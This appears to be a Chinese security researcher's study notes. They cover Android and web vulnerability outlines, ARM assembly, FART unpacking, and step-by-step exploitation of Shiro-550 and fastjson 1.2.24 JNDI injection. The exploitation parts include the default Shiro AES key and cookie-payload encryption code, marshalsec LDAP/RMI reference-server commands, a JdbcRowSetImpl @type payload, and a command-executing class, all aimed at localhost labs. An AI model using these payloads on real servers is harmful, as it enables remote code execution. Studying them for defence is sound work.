Android安全技能树

用于记录Android知识点,仅作为个人知识整理的大纲

漏洞类型

  • 组件暴露
    • Activity
    • Service
    • Content-Provider
    • Receiver
  • 权限设置不当
    • LaunchAnyWhere/BroadcastAnyWhere
    • 游离权限
    • 敏感组件使用Normal权限
    • sharedUserId
  • 路径穿越
    • 下载
    • 保存
    • 解压
  • 设计缺陷
    • 分屏场景
    • 静默安装能力与sdk-version版本
  • WebView
    • 暴露JSBridge造成能力被恶意调用
  • HTTPS
    • 证书不可信时继续访问造成中间人攻击
  • DoS
    • NullPointerException
    • ClassCastException
    • IndexOutOfBoundsException
    • ClassNotFoundException
  • SQL注入(Content-Provider)
  • Logcat泄露敏感信息
  • 使用/sdcard保存私有数据

挖掘技术

  • Intent-Hook
  • 流量监听
    • HttpCanary
  • 脱壳技术
    • FART
    • Frida脱壳
  • Hook技术
    • Xposed
    • Frida

Web安全技能树

用于记录Web知识点,仅作为个人知识整理的大纲

通用技能

前端

  • XSS
    • Exploit
    • 绕过
  • CSRF
  • CORS使用不当
  • JSONP
  • XSSI
  • CSS-Data-Exfil
  • Post-Message引起数据泄露
  • Click-Jacking
  • 其他需要了解的概念
    • CSP
    • SOP

后端

  • 命令注入
  • SQL注入
  • 文件上传/下载
  • 横向/纵向越权
  • HTTP-Request-Smuggling
  • SSRF
  • SSTI
  • 反序列化

语言特性

Java

  • RMI/LDAP
  • JNDI注入
  • 反序列化
  • SpringMVC
    • 无视后缀名匹配进行绕过(使用静态文件后缀名)
    • 视图注入
    • SpEL表达式注入
    • SpringMVC数据流(配置项、过滤器、拦截器、切面、)
  • Struts OGNL表达式注入

PHP

  • 弱类型特性
  • filter

Python

  • 反序列化

Golang

Shiro-550 & Shiro-721反序列化

Shiro-550

环境搭建

漏洞环境:https://github.com/Medicean/VulApps/tree/master/s/shiro/1

1
2
docker pull medicean/vulapps:s_shiro_1
docker run -d -p 8081:8080 medicean/vulapps:s_shiro_1

原理分析

环境启动后有这样一个实例页面

image-20201115112848031

登陆时勾选RememberMe

image-20201115152951648

登陆后会设置相应Cookie,其中一个字段rememberMe有一串数值

image-20201115153026347

在登陆回调上打断点 org/apache/shiro/mgt/DefaultSecurityManager.class,跟踪整个流程

image-20201115140437537

当RememberMe设置项为True时,进入this.rememberIdentity分支

image-20201115153343486

在这一分支中,会将身份序列化,之后把它AES加密后保存在rememberMe中

image-20201115153831206

跟进this.encrypt

image-20201115153657002

这里的AES密钥默认情况下是固定值

image-20201115154020197

如果不使用setCipherKey设置,默认密钥的Base64编码值为kPH+bIxk5D2deZiIxcaaaA==

在设置RememberMe之后,即使不携带JSESSION_ID,也能够完成身份认证

image-20201115155523261

带好rememberMe即可,服务端会返回一个新的JSESSIONID

在这一过程中必然会涉及反序列化,如果用户在RememberMe中提供了恶意代码,就能够攻击服务器。继续跟代码,看一下反序列化的具体过程。

已知在反序列化过程中一定会使用密钥,将断点打在AbstractRememberMeManager的各个方法上,携带RememberMe数据请求,最终触发断点,查看调用栈后决定从DefaultSecurityManager入手开始跟进 org/apache/shiro/mgt/DefaultSecurityManager.class

image-20201115161015281

具体处理逻辑在SimpleCookie.class

image-20201115161857175

取到RememberMe的值并解码,之后从中还原出Principal

image-20201115162014337

在这里进行反序列化

image-20201115162032869

使用DefaultSerializer进行反序列化

image-20201115162140168

接下来只需要找到一条可用的gadget,就能够完成命令执行。在Shiro中默认会使用Commons-collections-3.2.1,原生条件下直接利用会有些问题,但在这里找到一条优化后的Exploit(ysomap项目看起来不错,需要之后详细分析下),编译ysoserial需要jdk1.7

image-20201115192736477

拿到payload之后,需要将其base64.decode之后再用AES加密,逻辑也很好写,直接在源码中挖出来即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package com.fakestudio;

import org.apache.shiro.codec.Base64;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.crypto.CipherService;
import org.apache.shiro.util.ByteSource;

public class Main {

CipherService cipherService = new AesCipherService();


public static void main(String[] args) {
byte[] exp = Base64.decode("rO0ABXNyABFq...."); // 此处省略payload
CipherService cipherService = new AesCipherService();
byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA=="); // 默认密钥

ByteSource byteSource = cipherService.encrypt(exp, DEFAULT_CIPHER_KEY_BYTES);
byte[] value = byteSource.getBytes();


System.out.println(Base64.encodeToString(value));

}
}

丢到rememberMe中即可触发反序列化:

image-20201115192925026

漏洞修复

Shiro-550的修复是去除了硬编码的默认密钥,由上述分析可知,只要知道了AES加密的密钥,就能够继续构造rememberMe的数据,依然能够进行反序列化。在GitHub进行搜索,可以找到很多硬编码的CipherKey,其中不乏一些用户广泛的开源库,一旦这些代码被其他用户使用,就会带来安全问题。例如:

image-20201115154211600

一些利用工具会集成已经搜集到 的CipherKey,以求攻击成功率的最大化

image-20201115154628040

参考

Shiro-721

TODO

ARM Assembly学习笔记

以下内容为学习笔记

01-实验环境搭建

资源

环境

  • Ubuntu20
  • 可用的proxy
  • 树莓派镜像
  • QEMU

过程

FBC181DA-815A-4C03-81DD-6A283D05D646

挂载的步骤会有坑,需要先根据自己的情况计算出偏移量,不能直接用图上的值,否则会出现以下错误

721632F6-322F-43A3-B036-81F843DE641C

正确做法是先查看下载下来的镜像

91EEF8A9-E44E-448D-82C4-D28C4C2FF677

计算出偏移量

CC7E69CD-0FB2-4576-BC21-19BF698EA5A7

最后再挂载

77B0F8A2-092A-4F90-BF7E-8F8F02265F91

qemu的启动命令也需要变动一下,在Ubuntu20中改为了

1
qemu-system-arm -kernel ~/qemu_vms/qemu-rpi-kernel/kernel-qemu-4.4.34-jessie -cpu arm1176 -m 256 -M versatilepb -serial stdio -append "root=/dev/sda2 rootfstype=ext4 rw" -hda ~/qemu_vms/2017-04-10-raspbian-jessie.img -nic user,hostfwd=tcp::5022-:22 -no-reboot

根据指导中的操作在树莓派中设置开机自动开启ssh并登陆,以及关闭图形界面,最终效果如下

C66DC28E-D006-4CF0-B09E-D5BCA294B07A

02-Data Types

读这一章节的时候一个困惑的点是CARRY标识位

image-20200905163304975

https://stackoverflow.com/questions/53065579/confusion-about-arm-documentation-on-carry-flag

这里的CARRY标志位应该从bit层面看,详情可见上述链接

03-Load & Store

LDR和STR指令的具体操作方式

  • Immediate value as the offset
    • str r2, [r1, #2] @ address mode: offset. Store the value found in R2 (0x03) to the memory address found in R1 plus 2. Base register (R1) unmodified.
    • str r2, [r1, #4]! @ address mode: pre-indexed. Store the value found in R2 (0x03) to the memory address found in R1 plus 4. Base register (R1) modified: R1 = R1+4
    • ldr r3, [r1], #4 @ address mode: post-indexed. Load the value at memory address found in R1 to register R3. Base register (R1) modified: R1 = R1+4
  • Register as the offset
    • similar
  • Scaled register as the offset
    • LDR Ra, [Rb, Rc, <shifter>]
    • STR Ra, [Rb, Rc, <shifter>]

整体思路差不多,一种形式是立即数去操作,当成offset去用;一种形式是寄存器,需要读取他的值再去作为offset;一种是scaled register,涉及对另一个寄存器的左移或右移,然后把这个值作为偏移量

LDR指令除从内存读取数据到寄存器之外还可以用来指代literal pool中的数据

ARM每次只能加载8bit的数据,因此加载32bit的常量到寄存器需要

ARM指令长度为32bit,条件码需要占用4bit,目的寄存器需要2bit,源操作寄存器需要2bit,set-status flag需要1bit,此外还有其他的占用需求。最后只剩下12bit用来留给立即数

5A92613F-CDD6-4EEC-8BED-BA9A457C7069

一些数不能直接放到寄存器中,可以将其拆分成两条指令计算加法,也可以使用ldr指令

04-Store Multiple

.word refers to a data block of 32 bits (4 bytes)

array + offset -> array[k], exg:

1
2
3
4
5
6
7
8
9
10
11
words:
.word 0x00000000 /* words[0] */
.word 0x00000001 /* words[1] */
.word 0x00000002 /* words[2] */
.word 0x00000003 /* words[3] */
.word 0x00000004 /* words[4] */
.word 0x00000005 /* words[5] */
.word 0x00000006 /* words[6] */

_start:
adr r0, words+12 @ get address of words[2]

0BAE50AD-9C82-406D-B8CC-30C32328D90C

ldm instruction stores value in r0 into r4, and stores value in ro+4 bytes into r5

stm is just like ldm, and it stores multiple values into two registers. the data comes from the operand register and 4 bytes beyond.

ldm and stm instructions have variations:

  • IA: increase 1 word(4 bytes) after data load
  • IB: increase 1 word(4 bytes) before data load
  • DA: decrease 1 word(4 bytes) after data load
  • DB: decrease 1 word(4 bytes) before data load

exg: ldmia -> the address for the next element to be loaded is increased after each load.

ldm is the same as ldmia in practice. In other words ldm will increase the address for the next element by default.

[PUSH AND POP]

ldr and str instructions have variations: ldm and stm, used fr

push xxx:

  1. SP = SP - 4
  2. stm xxx $sp

pop xxx:

  1. ldm xxx $sp
  2. sp = sp + 4

05-Conditional Execution

CONDITIONAL EXECUTION

00819C5C-1816-4635-9B97-5F6534895989

CONDITIONAL EXECUTION IN THUMB

IT{x{y{z}}} cond

  • cond specifies the condition for the first instruction in the IT block
  • x specifies the condition switch for the second instruction in the IT block
  • y specifies the condition switch for the third instruction in the IT block
  • z specifies the condition switch for the fourth instruction in the IT block

06-Functions And Stacks

img

Here many kinds of stack may cause confusion.

http://www-mdp.eng.cam.ac.uk/web/library/enginfo/mdp_micro/lecture5/lecture5-4-2.html

The ARM supports four different stack implementations. These are categorised by two axes, namely Ascending versus Descending and Empty versus Full.
An Ascending stack grows upwards. It starts from a low memory address and, as items are pushed onto it, progresses to higher memory addresses.
A Descending stack grows downwards. It starts from a high memory address, and as items are pushed onto it, progresses to lower memory addresses. The previous examples have been of a Descending stack.
In an Empty stack, the stack pointers points to the next free (empty) location on the stack, i.e. the place where the next item to be pushed onto the stack will be stored.
In a Full stack, the stack pointer points to the topmost item in the stack, i.e. the location of the last item to be pushed onto the stack.
As matching these four distinct stack implementations to multiple-register loads and stores has the potential for confusion, the ARM assembly language has specific stack manipulation instructions that indicate through their mnemonic the type of stack involved.

In the azeria-labs articles, they use full descending stack, which means the stack grows downwards, and the SP points to the topmost item in the stack

img

https://stackoverflow.com/questions/57528457/use-of-lr-and-pc-instructions-in-non-leaf-and-leaf-functions-epilogue

img

As for non-leaf function and leaf function:

  • non-leaf function use pc to jump to the next instruction
  • leaf function use lr to jump back to the caller

-7-ARM Shellcode

  1. 关于Thumb模式

img

ARM模式转换到Thumb模式,需要将PC+1并存放到r3

img

能被2整除的肯定比特位的最后一位是0……

因此+1以后能让lsb变成1 ==

关于RMI的Remote Object和Reference

在整理反序列化问题时对RMI相关的问题还是没有想清楚,单独开一篇记录下调试过程

需要解决的关键问题:

  1. RMI上绑定的Remote Object和Reference有什么区别
  2. 数据如何传输
  3. 为什么在JNDI注入时客户端查询到恶意类的Reference后,会在RMI客户端执行命令,而非RMI服务端

查了很多(二手)材料,发现没人能清楚的解答我的问题

最佳参考材料:官方文档

JNDI

信息来源:官方文档

JNDI其实是Java为需要提供命名和目录服务的程序提供的接口,是在具体的服务提供者上做的一层抽象。

JNDI Architecture

Naming service 和 directory service在wiki上其实是同义词,都指一种通过名称查询具体值的服务

JNDI的作用就是让上方的调用者只需要调用JNDI API,而不需要关心后端到底是由谁提供了具体的Naming and directory服务。具体的调用由JNDI SPI完成(Service Provider Interface)

RMI

从图上可以看出,RMI其实是一种具体的Service Provider,RMI是为了让一个JVM上的对象调用到另一个JVM的方法而创造的一种机制。

在调用远程方法时,自然会涉及参数传递和结果传回,RMI的具体机制为:参数被序列化后传到远程JVM,之后参数被反序列化并使用,而方法执行的结果则被序列化后发送给调用方的JVM。

之前已经测试过使用Reference时会造成Client命令执行,这次只调试下使用Remote Object会发生什么

Reference是JNDI对RMI的扩展,因此这里的Client是调用了JNDI的接口

RMI-Client测试代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// Main.java
public static void main(String[] args) throws NamingException, RemoteException {
// client
// lookup for Hello Class and invoke remote method
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL, "rmi://127.0.0.1:1099");
System.getProperties().setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
System.getProperties().setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
String uri = "rmi://127.0.0.1:1099/aa";
Context ctx = new InitialContext(env);
Hello obj = (Hello) ctx.lookup(uri);
System.out.println(obj.sayHello());

}

在RMI-Client需要远程对象的接口

1
2
3
4
5
6
7
// Hello.java
import java.rmi.Remote;
import java.rmi.RemoteException;

public interface Hello extends Remote {
public String sayHello() throws RemoteException;
}

RMI-Server的测试代码

1
2
3
4
5
6
// Main.java
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
HelloImpl h = new HelloImpl();
registry.bind("aa", h);
}

RMI-Server中有Hello接口的具体实现,也就是HelloImpl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import java.rmi.RemoteException;
import java.rmi.server.RMISocketFactory;
import java.rmi.server.UnicastRemoteObject;

public class HelloImpl extends UnicastRemoteObject implements Hello {
/**
* Creates and exports a new UnicastRemoteObject object using an
* anonymous port.
*
* <p>The object is exported with a server socket
* created using the {@link RMISocketFactory} class.
*
* @throws RemoteException if failed to export object
* @since JDK1.1
*/
protected HelloImpl() throws RemoteException {
}

public String sayHello() throws RemoteException {
System.out.println("hi");
return ("Hello, the date is " + new java.util.Date());
}
}

开启RMI-Server,之后启动RMI-Client,此时RMI-Client会来Server取Remote Object,并且调用sayHello方法,最直观的感受就是在RMI-Server上打印出了Hi字样,说明方法是在RMI-Server执行的

image-20200409000100902

而在RMI-Client获取到了sayHello方法的返回值(序列化执行结果后返回数据给Client)

image-20200409000224937

因此差异是:Remote Object在/Library/Java/JavaVirtualMachines/jdk1.8.0_192.jdk/Contents/Home/src.zip!/javax/naming/spi/NamingManager.java这里会跳过getObjectFactoryFromReference的方法,而Reference则会走到这个分支

也就是说,Remote Object在调用时方法是在RMI Server执行的,而Reference是会根据地址取出ObjectFactory类,并且在Client实例化。这样就造成在处理Reference时RMI Client会执行命令

image-20200408234758578

测试代码:https://github.com/miaochiahao/rmi-test-code

另外,Remote Object与Client的通信具体过程其实是先由RMI-Server返回给Client一个代理(Stub),Client调用远程对象时都是通过Stub进行的,Stub封装了具体的通信细节,让调用远程方法就像调用本地方法一样

FART全自动脱壳机镜像刷机体验

相关材料

线刷

机型是刚买的pixel2,考虑到谷歌亲儿子更方便折腾还是买了pixel

记录流程:

  1. 开启pixel开发者模式,打开usb调试
  2. adb reboot bootloader
  3. fastboot flashing unlock
  4. 解锁后开启usb调试,再次进入bootloader
  5. ./flash-all.sh即可

使用

  1. 编写fart工具配置文件/data/fart,第一行是包名,第二行是私有目录,设置777权限
  2. 安装应用,启动应用,会在私有目录下生成dump下的dex和函数体文件
  3. 拷贝下相关文件,运行修复脚本

image-20200407192438206

脱壳前

image-20200407193218109

脱壳后

image-20200407193416385

效果非常好,想要的包都出来了。推荐继续阅读一下hanbing大佬写的三篇关于原理分析的文章

Fastjson反序列化

关于Java版本

Java8 -> JDK 1.8.0_241-b07 -> JDK 8u241

从xxlengend的payload说起

本文在以下环境中进行实验

java version “1.8.0_192”
Java(TM) SE Runtime Environment (build 1.8.0_192-b12)
Java HotSpot(TM) 64-Bit Server VM (build 25.192-b12, mixed mode)

如何正常编译:

1.首先注释掉所有的setAutoTypeSupport函数,1.2.24版本中没有这个方法

img

2.如果用的是Mac的话,记得把路径修改成斜线(原代码中是反斜线,这样会找不到对应的路径)

3.修改Test.java文件中要执行的命令

img

4.编译选项要选择Poc

img

此时即可触发第一种payload

img

使用fastjson进行序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
public class User {


public String name;
private int age;
private Boolean sex;
private Properties prop = new Properties();
public User(){
System.out.println("User() is called");
}
public void setAge(int age){
System.out.println("setAge() is called");
this.age = age;
}
public Boolean getSex(){
System.out.println("getGrade() is called");
return this.sex;
}
public Properties getProp(){
System.out.println("getProp() is called");
return this.prop;
}
public String toString(){
String s = "[User Object] name=" + this.name + ", age=" + this.age + ", prop=" + this.prop + ", sex=" + this.sex;
return s;
}
public static void main(String[] args){
String jsonstr = "{\"@type\":\"fastjsontest.User\", \"name\":\"Tom\", \"age\": 13, \"prop\": {}, \"sex\": 1}";


User user = new User();
user.name = "anakin";
user.age = 25;
user.sex = true;
user.prop.setProperty("foo", "bar");


String jsonString = JSON.toJSONString(user);
System.out.println(jsonString);


// Object obj = JSON.parseObject(jsonstr, User.class);
// System.out.println(obj);
}
}

下面调试一下几个关键的过程,fastjson版本为1.2.24

将一个javabean序列化成JSONString的过程如下:

1.获取SerializeWriter,这一过程中会对需要序列化的类进行分析,如果不在fastjson默认的序列化器中,将会根据javabean的信息创建一个。这一过程中的关键函数是

com/alibaba/fastjson/serializer/SerializeConfig.java中的getObjectWriter,在阅读源码的过程中也可以看到fastjson对常见的类都有相应的序列化器。(例如Map, List, Collection Date…)

img

一系列的判断之后,如果我们需要序列化的javabean没有在fastjson已知的列表里,如果开启了create选项(默认开启的),就会根据javabean自身的信息来构建序列化器

img

继续向下跟进,会来到TypeUtils.buildBeanInfo和createJavaBeanSerializer,首先会对javabean的信息进行扫描(出于性能考虑),然后按照某种规则对javabean进行序列化,这个我们继续看

对javabean进行扫描的过程如下:

1.利用反射机制获取javabean的所有属性,如果有继承关系则继续扫描父类的属性(无继承关系的话父类是Object.class)

img

2.对扫描出的属性进行分析,这里处理的函数是computeGetters(com/alibaba/fastjson/util/TypeUtils.java)

利用反射机制取出class中所有的方法

img

符合以下条件的方法会被处理:

  • 不是静态方法
  • 返回值不为void
  • 不返回ClassLoader
  • 方法非getMetaClass
  • 以get开头,方法名大于3,且get后的第一个字母大写(即符合javabean中getter规范的方法)

处理方法为将getter方法与属性对应起来,存放到fieldInfo对象中,再放到fieldInfoMap里

img

3.当完成对getter的扫描后,会继续获取类的public属性

clazz.getFields()获取的是public属性;clazz.getDeclaredFields()获取的是所有属性

这里还会将public属性也存放到ArrayList中

可以说序列化过程中需要处理的也就是在fieldInfoList中存放的各个属性了,其他的属性不会继续在下面的过程中处理。扫描后的信息会存放在SerializeBeanInfo类

img

接下来会进入serializer创建过程,这一过程是字节码操作

也由于这一过程都是字节码操作,无法继续跟进调试

img

刚才过程中创建出的序列化器会在这里使用,write函数会对根据刚才规则筛选出的几个属性进行序列化操作

可以从变量里看出逐步的在写入JSONString

img

最终的结果为:

1
{"name":"anakin","prop":{"foo":"bar"},"sex":true}

使用fastjson进行反序列化

反序列化过程是将JSONString还原回对象的过程,例如:

Object obj = JSON.parseObject(jsonstr, User.class);

这里涉及到两个API,JSON.parse()和JSON.parseObject。在漏洞利用过程中这两个方法会有些许区别

先来看下parseObject

经过几个封装的方法后会进入DefaultJSONParser中

img

在DefaultJSONParser构造过程中可以发现,fastjson对两种符号存在特殊处理

img

在parser构建过程中的一个细节,会检查clazz是否在denyList里,这里是1.2.24版本(也就是在反序列化漏洞爆发之前的版本)denyList里存放的是java.lang.Thread类(com/alibaba/fastjson/parser/ParserConfig.java)

img

和序列化过程一样,在构造反序列化的parser时会先扫描是否反序列化的是已知的类,如果没有会创建一个新的反序列化器

img

这里的逻辑和createJavaBeanSerializer有些差异,继续跟进下看看:

img

com/alibaba/fastjson/util/JavaBeanInfo.java 这里是反序列化的行为。反序列化过程中除了调用setter还会调用getter

对于setter方法,需要符合以下条件:

  1. 方法名大于3
  2. 非静态方法
  3. 返回值为空,且返回值不能是声明自身的类
  4. 入参只有1个
  5. 以set开始,且第四个字母是大写(这里在编码的时候考虑了只有setXXX方法,但是找不到声明对应的属性的情况,例如属性名是Boolean isRight = True)

img

在获取所有的setter方法之后,会对类里public属性进行扫描

img

对于不在fieldList里的public属性,会手动添加到fieldList中

在处理完setter方法后,会继续对getter方法进行处理,重点来了。符合以下规则的getter方法会被特殊处理:

  1. 方法名大于3
  2. 非静态方法
  3. 以get开始,且第四个字母大写
  4. 是Collection||Map||AtomicBoolean||AtomicInteger||AtomicLong中某个类的子类
  5. 有getter方法但没有setter方法(如果有setter方法,在上面就会被处理了)

最终在反序列化的时候会调用这个getter方法

img

img

其实这里是为了兼容几种数据类型的写法,例如getProp方法其实会返回一个Properties对象,这里fastjson替用户封装了一步,直接写getProp也能正常的向里面放数据。

lexer.token

img

反序列化过程在com/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer.java中,使用lexer对input进行扫描,按JSON的语法进行对象还原

img

charArrayCompare方法写的有些迷惑,从这里看它是严格按照顺序来匹配的,从第一个键值对开始,位置不对则不匹配

img

关键点:@type,这里会判断type和当前反序列化的类是否是相同的

img

从JSONString中解析出一个值后,会使用setValue方法去给对象赋值

img

此时其实已经创建了对象,无参构造器已经被调用了

img

准确来说是在com/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer.java createInstance这里创建的

img

其实setValue方法在实现时,是在fieldInfo对象中取出了里面的setter方法,然后通过调用setter方法为javabean赋值

fastjson 1.2.24反序列化漏洞

理清序列化和反序列化过程之后再来看这个漏洞的几种不同的payload

铺垫:JNDI注入

关于JNDI相关的攻击方式,可以参考pwntester 2016年的blackhat演讲,材料

JNDI -> Java Naming and Directory Interface

Naming Service: key -> value; key -> object, such as DNS and file systems

Directory Service: Special type of Naming Service, that allows storing and finding of “directory objects”. A directory object differs from generic objects in that it’s possible to associate attrbutes to the object. (LDAP)

JNDI是一套接口,类似于索引中心,允许客户端通过name发现和查找数据以及对象。这些对象可以存储在不同的服务中,例如远程方法调用(RMI),通用对象请求代理体系结构(CORBA),轻型目录访问协议(LDAP)或域名服务(DNS)。

JNDI可以:

  1. 直接绑定远程对象
  2. 绑定Reference

如果绑定Reference,为什么恶意代码会在Client执行,而非攻击者的Server执行?因为在Server绑定Reference时,这个恶意对象是不在Server上的,Reference指向某个地址,Client会去这个地址取出对象并在Client实例化

image-20200405003201845

既然是索引中心,那么JNDI就要分为client(查询)和server(注册资源)看一个最简单的demo:

Client:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import javax.naming.Context;
import javax.naming.InitialContext;
import java.util.Hashtable;

public class Client {
public static void main(String[] args) throws Exception{
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL, "rmi://127.0.0.1:1099");
System.getProperties().setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
System.getProperties().setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
String uri = "rmi://127.0.0.1:1099/aa";
Context ctx = new InitialContext(env);
ctx.lookup(uri);
}
}

Server:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Server {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
Reference aa = new Reference("ExecTest", "ExecTest", "http://127.0.0.1:8081");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa);
registry.bind("aa", refObjWrapper);
}
}

EvilClass:

1
2
3
4
5
6
7
import java.io.IOException;

public class ExecTest {
public ExecTest() throws IOException {
final Process process = Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
}
}

版本问题:

image-20200404220349806

image-20200404220558086

为什么会造成命令执行?答案在Client的lookup方法中

image-20200404221455933

跟进后发现是接口,command+option+B查找实现,可以从报错的调用栈打印看到具体的实现类是哪一个

1
2
3
4
5
6
7
8
9
10
11
Exception in thread "main" javax.naming.NamingException [Root exception is java.lang.ClassCastException: ExecTest cannot be cast to javax.naming.spi.ObjectFactory]
at com.sun.jndi.rmi.registry.RegistryContext.decodeObject(RegistryContext.java:507)
at com.sun.jndi.rmi.registry.RegistryContext.lookup(RegistryContext.java:138)
at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:205)
at javax.naming.InitialContext.lookup(InitialContext.java:417)
at Client.main(Client.java:9)
Caused by: java.lang.ClassCastException: ExecTest cannot be cast to javax.naming.spi.ObjectFactory
at javax.naming.spi.NamingManager.getObjectFactoryFromReference(NamingManager.java:163)
at javax.naming.spi.NamingManager.getObjectInstance(NamingManager.java:319)
at com.sun.jndi.rmi.registry.RegistryContext.decodeObject(RegistryContext.java:499)
... 4 more

最终发现在com/sun/jndi/rmi/registry/RegistryContext.java中的decodeObject中有创建实例的操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
private Object decodeObject(Remote var1, Name var2) throws NamingException {
try {
Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;
Reference var8 = null;
if (var3 instanceof Reference) {
var8 = (Reference)var3;
} else if (var3 instanceof Referenceable) {
var8 = ((Referenceable)((Referenceable)var3)).getReference();
}

if (var8 != null && var8.getFactoryClassLocation() != null && !trustURLCodebase) {
throw new ConfigurationException("The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.");
} else {
return NamingManager.getObjectInstance(var3, var2, this, this.environment);
}
} catch (NamingException var5) {
throw var5;
} catch (RemoteException var6) {
throw (NamingException)wrapRemoteException(var6).fillInStackTrace();
} catch (Exception var7) {
NamingException var4 = new NamingException();
var4.setRootCause(var7);
throw var4;
}
}

跟进到getObjectInstance方法,这里代码执行的点有两处

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// NamingManager.class
if (ref != null) {
String f = ref.getFactoryClassName();
if (f != null) {
// if reference identifies a factory, use exclusively

// 代码执行,构造器和静态方法会被执行
factory = getObjectFactoryFromReference(ref, f);
if (factory != null) {
// 代码执行,当复写getObjectInstance方法时这里会执行
return factory.getObjectInstance(ref, name, nameCtx,
environment);
}
// No factory found, so return original refInfo.
// Will reach this point if factory class is not in
// class path and reference does not contain a URL for it
return refInfo;

} else {
// if reference has no factory, check for addresses
// containing URLs

answer = processURLAddrs(ref, name, nameCtx, environment);
if (answer != null) {
return answer;
}
}
}

image-20200404232052152

JNDI的一个特性是协议动态转换,即使client在初始化时使用的上下文环境为RMI,在lookup方法中传入LDAP协议的URI也能支持,程序会自动切换到LDAP的上下文中。

可以使用marshalsec工具快速开启RMI/LDAP服务

1
2
3
4
5
6
7
8
9
10
// client
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL, "rmi://127.0.0.1:1099");
System.getProperties().setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
System.getProperties().setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
String uri = "ldap://localhost:1389/obj";
// String uri = "rmi://127.0.0.1:1389/aa";
Context ctx = new InitialContext(env);
ctx.lookup(uri);
1
2
3
4
// hacker marshalsec service
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8081/\#ExecTest
Listening on 0.0.0.0:1389
Send LDAP reference result for obj redirecting to http://127.0.0.1:8081/ExecTest.class

该命令会在1389端口开启LDAP,在client查询ldap://localhost:1389/obj时返回http://127.0.0.1:8081/ExecTest.class

RMI Remote Object Payload

kingx提到攻击者可以实现一个RMI恶意远程对象并绑定到RMI Registry上,如果client在反序列化时发现一个对象,则先会到CLASSPATH寻找相应的类,如果找不到类定义时会根据codebase去下载这个类的class,然后动态加载。(以下一段摘自这里

这种方式局限很大,因此并不是很常见,限制条件为:

  1. 安装并配置了SecurityManager
  2. Java版本低于7u21, 6u45或者设置了java.rmi.server.useCodebaseOnly=false

实验一下:

1
// server的远程接口

RMI JNDI Reference Payload

使用marshalsec开启RMI服务

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1:8081/\#ExecTest

Payload:

1
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/ExexTest","autoCommit":true}

RMI和LDAP的利用类是com.sun.rowset.JdbcRowSetImpl,刚才已经提到过,在设置autoCommit属性并进行反序列化时,fastjson会调用其setter方法setAutoCommit

1
2
3
4
5
6
7
8
9
public void setAutoCommit(boolean var1) throws SQLException {
if (this.conn != null) {
this.conn.setAutoCommit(var1);
} else {
this.conn = this.connect();
this.conn.setAutoCommit(var1);
}

}

这里会触发this.connect()方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
private Connection connect() throws SQLException {
if (this.conn != null) {
return this.conn;
} else if (this.getDataSourceName() != null) {
try {
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
} catch (NamingException var3) {
throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
}
} else {
return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
}
}

继续跟进lookup()方法,后续代码会根据传入URI的scheme判断使用何种上下文环境继续解析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
protected Context getURLOrDefaultInitCtx(String name)
throws NamingException {
if (NamingManager.hasInitialContextFactoryBuilder()) {
return getDefaultInitCtx();
}
String scheme = getURLScheme(name);
if (scheme != null) {
Context ctx = NamingManager.getURLContext(scheme, myProps);
if (ctx != null) {
return ctx;
}
}
return getDefaultInitCtx();
}

由于传入的是RMI协议,继续解析的过程到达com/sun/jndi/toolkit/url/GenericURLContext.class,这样就形成了JNDI注入

LDAP JNDI Reference Payload

使用marshalsec开启LDAP服务
